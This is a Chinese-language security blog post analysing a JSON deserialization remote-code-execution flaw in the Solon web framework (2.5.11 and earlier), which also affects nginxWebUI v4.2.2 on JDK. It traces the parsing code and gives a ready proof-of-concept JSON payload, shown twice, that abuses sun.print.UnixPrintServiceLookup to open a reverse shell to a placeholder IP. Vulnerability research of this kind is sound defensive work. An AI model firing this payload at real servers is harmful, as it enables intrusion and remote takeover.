freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

国产web框架Solon
2024-08-25 16:42:39

前言

上次看到星球有提到过solon这个国产的web框架,⾃⼰后⾯⼜看了下,发现在2.5.11及之下的版本对
json的解析都有类似fastjosn的特点,可以达成在linux下&jdk环境中的RCE

环境搭建

直接使⽤官⽅的⽰例 https://solon.noear.org/start/build.do?
artifact=helloworld_jdk8&project=maven&javaVer=1.8
修改pom.xml的solon-parent版本为2.5.11(存在漏洞的版本)1724571362_66cadee2bbaecbf122421.png!small

然后注意必须要在linux&&jdk环境下启动
漏洞触发的条件很简单,只要有接收参数的任意路由即可

POC

直接post发送如下json数据即可RCE

// 反弹shell
{
     "name": {
          "@type": "sun.print.UnixPrintServiceLookup",
          "lpcFirstCom": [
              ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;",
              ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;"
         ]
     }
}

漏洞分析

先看看solon是怎么处理json数据的参数绑定的
直接在hello路由下断点,然后往前跟踪调⽤栈

1724571729_66cae0516fc35605f6ebc.png!small

我们直接发送json格式的数据

1724571833_66cae0b920356ccf15de8.png!small

从这⾥往上找参数绑定的调⽤栈

可以看到在 org.noear.solon.core.handle.ActionExecuteHandlerDefault#executeHandle 这⾥调⽤
执⾏了    mWrap.invokeByAspect(obj, args.toArray())    从⽽调⽤我们⾃定义的
com.example.demo.DemoController#hello   ⽅法,⽽在上⾯的29⾏执⾏
buildArgs(ctx, obj, mWrap) ,从名⼦就能看出来是⽤于参数绑定

我们跟进这个参数绑定的⽅法

buildArgs中先是会对接收到的数据进⾏ changeBody 处理
当我们传的是json数据时会做⼀个json解析,得到⼀个ONode对象

后续回到 buildArgs 则是对hello路由⽅法的参数取得类型,并根据类型做相应的处理
后续来到 this.changeValue 这⾥

有⼀些判断,检验是否有 hello ⽅法对应的参数

继续跟进来到关键的 toObject ⽅法中
⼀路跟进来到 org.noear.snack.to.ObjectToer#analyse 中,这⾥会对我们的 ONode 对
象做⼀些特殊处理
这⾥有两个点要过,由于我们传⼊的json是 {"name":"pankas"} ,所以这⾥流程会⾛到正常的字
符串处理, clz 的值为 java.lang.String我们发送这样的json看看后续会怎么处理

{"name":{}}

修改后来到 clz = this.getTypeByNode(ctx, o, clz);

跟进,在 org.noear.snack.to.ObjectToer#getTypeByNode ⽅法中可以看到,当类型为
Object 时,会取其中键为 @type 的值来进⾏⼀个类的加载

这⾥我们先随便给⼀个类看看

{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl"}}

可以看到确实进⾏了⼀个类加载

后续看看是怎么处理这个 clz 的
后续在⼀个 switch case后,会来到⼀个 Object的处理位置

...
...

case Object: o.remove(ctx.options.getTypePropertyName()); if (Properties.class.isAssignableFrom(clz)) { return this.analyseProps(ctx, o, (Properties)rst, clz, type, genericInfo); } else if (Map.class.isAssignableFrom(clz)) { return this.analyseMap(ctx, o, clz, type, genericInfo); } else { if (StackTraceElement.class.isAssignableFrom(clz)) { String declaringClass = o.get("declaringClass").getString(); if (declaringClass == null) { declaringClass = o.get("className").getString(); }
return new StackTraceElement(declaringClass, o.get("methodName").getString(), o.get("fileName").getString(), o.get("lineNumber").getInt()); }
if (type instanceof ParameterizedType) { genericInfo = GenericUtil.getGenericInfo(type); }
return this.analyseBean(ctx, o, rst, clz, type, genericInfo); }
... ...

这⾥我们直接来到最后的 this.analyseBean(ctx, o, rst, clz, type,
genericInfo);
这⾥就能发现对上⾯获取到的 clz 进⾏看实例化

后续会判断我们传⼊的对象中是否有对应属性的值,如果存在则会进⾏⼀个赋值

赋值这⾥关键要看⽬标类中有哪些属性,不同于fastjson的是这⾥赋值并不会调⽤对象的 setter
或 getter ⽅法
这⾥⽬标类的获取⾸先也是从缓存中获取,先来看看第⼀次加载⽬标类是如何处理包装的

跟进 ClassWrap.get(clz)
在 ClassWrap 的构造⽅法中会调⽤ this.scanAllFields(clz, map::containsKey,
map::put) 对⽬标类进⾏⼀个扫描

/**
  * 扫描⼀个类的所有字段
*/
private void scanAllFields(Class<?> clz, Predicate<String> checker,
BiConsumer<String, FieldWrap> consumer) {
        if (clz == null) {
            return;
        }

        for (Field f : clz.getDeclaredFields()) {
              int mod = f.getModifiers();

              if (!Modifier.isStatic(mod)
                            && !Modifier.isTransient(mod)) {

                if(_isMemberClass && f.getName().equals("this$0")){
                    continue;
                }
                if (checker.test(f.getName()) == false) {
                   _recordable &= Modifier.isFinal(mod);
                  consumer.accept(f.getName(), new FieldWrap(clz, f,
Modifier.isFinal(mod)));
                   }
              }
       }
      Class<?> sup = clz.getSuperclass();
      if (sup != Object.class) {
          scanAllFields(sup, checker, consumer);
     }
}

可以看到,我们最终所获得的 Field 是⽬标类中的⾮静态变量
继续往下,看看是怎么对我们所创建的对象进⾏赋值的

...
...

for (FieldWrap f : clzWrap.fieldAllWraps()) {
      if (f.isDeserialize() == false) {
          continue;
      }
      String fieldK = f.getName();

      if (excNames != null && excNames.contains(fieldK)) {
          continue;
      }


      if (o.contains(fieldK)) {
          Class fieldT = f.type;
          Type fieldGt = f.genericType;

           if (f.readonly) {
               analyseBeanOfValue(fieldK, fieldT, fieldGt, ctx, o,
f.getValue(rst), genericInfo);
            } else {


                Object val = analyseBeanOfValue(fieldK, fieldT, fieldGt, ctx, o,
f.getValue(rst), genericInfo);

                  if (val == null) {
                      //null string 是否以 空字符处理
                      if (ctx.options.hasFeature(Feature.StringFieldInitEmpty) &&
f.type == String.class) {
                               val = "";
                           }
                  }
                 f.setValue(rst, val, disSetter);
            }
       }
 }

...
...

先随便给个值 {"name":
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSource":"pankas"}}

(中间还有⼀些递归处理json对象嵌套流程省略,代码很清晰,可以⾃⼰看看)
进⼊ f.setValue(rst, val, disSetter);
这⾥也是⽐较简单,如果有对应的 setter 则⽤对应的 setter 进⾏赋值,没有则使⽤反射进⾏赋值

所以整个json的解析和fastjson是⽐较相似的,那为什么不能使⽤fastjson的payload直接打呢
原因是这⾥赋值的前提条件时⽬标对象必须要有对应的字段才可以
⽐如说这⾥经典的fastjson的payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099
/badClassName", "autoCommit":true}

由于⽬标对象中并没有 dataSourceName 或 autoCommit 属性,所以并不会调⽤其 setter
⽅法,所以这算是⼀个很⼤的限制。
那有没有能利⽤的类呢,刚好有⼀个,就是 sun.print.UnixPrintServiceLookup 这个类,
关于这个类⽹上都有很多的资料了,这⾥不过多做解释
sun.print.UnixPrintServiceLookup 在实例化时会开启⼀个线程循环执⾏
UnixPrintServiceLookup.this.refreshServices();

在linux下会执⾏到 this.getDefaultPrinterNameBSD(); ⽅法

其中存在⼤量的命令拼接及执⾏操作

所以这⾥我们直接覆盖修改 lpcFirstCom 属性即可
最终我们的payload就是

// 反弹shell
{
        "name": {
                 "@type": "sun.print.UnixPrintServiceLookup",
                 "lpcFirstCom": [
                       ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;",
                       ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;"
                ]
        }
}

最新版 nginxWebUI(v4.2.2) 前台RCE

后⾯⼜看了下有哪些使⽤了⽐较⽼版本的solon,发现nginxWebUI 的solon版本是2.4.5,刚好是存在
漏洞的版本。
但使⽤官⽅的docker镜像环境发现RCE失败了,原因是默认是使⽤jre环境,找不到
sun.print.UnixPrintServiceLookup 这个类,所以限制其实还蛮⼤的(看看其他师傅们有
没有办法解决这个问题)

所以这个洞也只能是在jdk环境下启动才⾏

使⽤jdk环境下启动nginxWebUi发现就能正常RCE了

# 漏洞 # 网络安全 # 漏洞分析 # 框架
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录